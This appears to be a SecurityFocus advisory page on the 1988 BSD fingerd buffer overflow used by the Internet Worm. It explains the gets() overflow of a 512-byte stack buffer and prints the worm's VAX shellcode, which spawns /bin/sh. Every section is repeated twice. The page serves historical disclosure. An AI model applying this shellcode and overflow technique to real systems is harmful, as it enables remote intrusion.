BSD fingerd buffer overflow Vulnerability
BID:2
Info
BSD fingerd buffer overflow Vulnerability
| Bugtraq ID: | 2 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 01 1988 12:00AM |
| Updated: | Oct 01 1988 12:00AM |
| Credit: | |
| Vulnerable: |
BSD BSD 4.2 |
| Not Vulnerable: | |
Discussion
BSD fingerd buffer overflow Vulnerability
fingerd is a remote user information server that implements
the protocol defined in RFC742. There exists a buffer
overflow in finderd that allows a remote attacker to execute
any local binaries.
finderd reads input from its socket using the gets()
standard C library call passing it a 512-byte automatic
buffer allocated in main(). gets() reads the input and
stores it into the buffer without performing any bounds
checking. This results in a standard stack buffer
overflow when main() return.
The Internet Worm exploited this vulnerability.
fingerd is a remote user information server that implements
the protocol defined in RFC742. There exists a buffer
overflow in finderd that allows a remote attacker to execute
any local binaries.
finderd reads input from its socket using the gets()
standard C library call passing it a 512-byte automatic
buffer allocated in main(). gets() reads the input and
stores it into the buffer without performing any bounds
checking. This results in a standard stack buffer
overflow when main() return.
The Internet Worm exploited this vulnerability.
Exploit / POC
BSD fingerd buffer overflow Vulnerability
The Internet Worm used a string of 536 bytes to
overflow the input buffer of fingerd on the VAX. The
VAX machine code it used was:
pushl $68732f 'sh\0'
pushl $6e69622f '/bin'
movl sp, r10
pushl $0
pushl $0
pushl r10
pushl $3
movl sp, ap
chmk $3b
This code executed execve("/bin/sh", 0, 0).
The Internet Worm used a string of 536 bytes to
overflow the input buffer of fingerd on the VAX. The
VAX machine code it used was:
pushl $68732f 'sh\0'
pushl $6e69622f '/bin'
movl sp, r10
pushl $0
pushl $0
pushl r10
pushl $3
movl sp, ap
chmk $3b
This code executed execve("/bin/sh", 0, 0).
Solution / Fix
BSD fingerd buffer overflow Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
BSD fingerd buffer overflow Vulnerability
References:
References: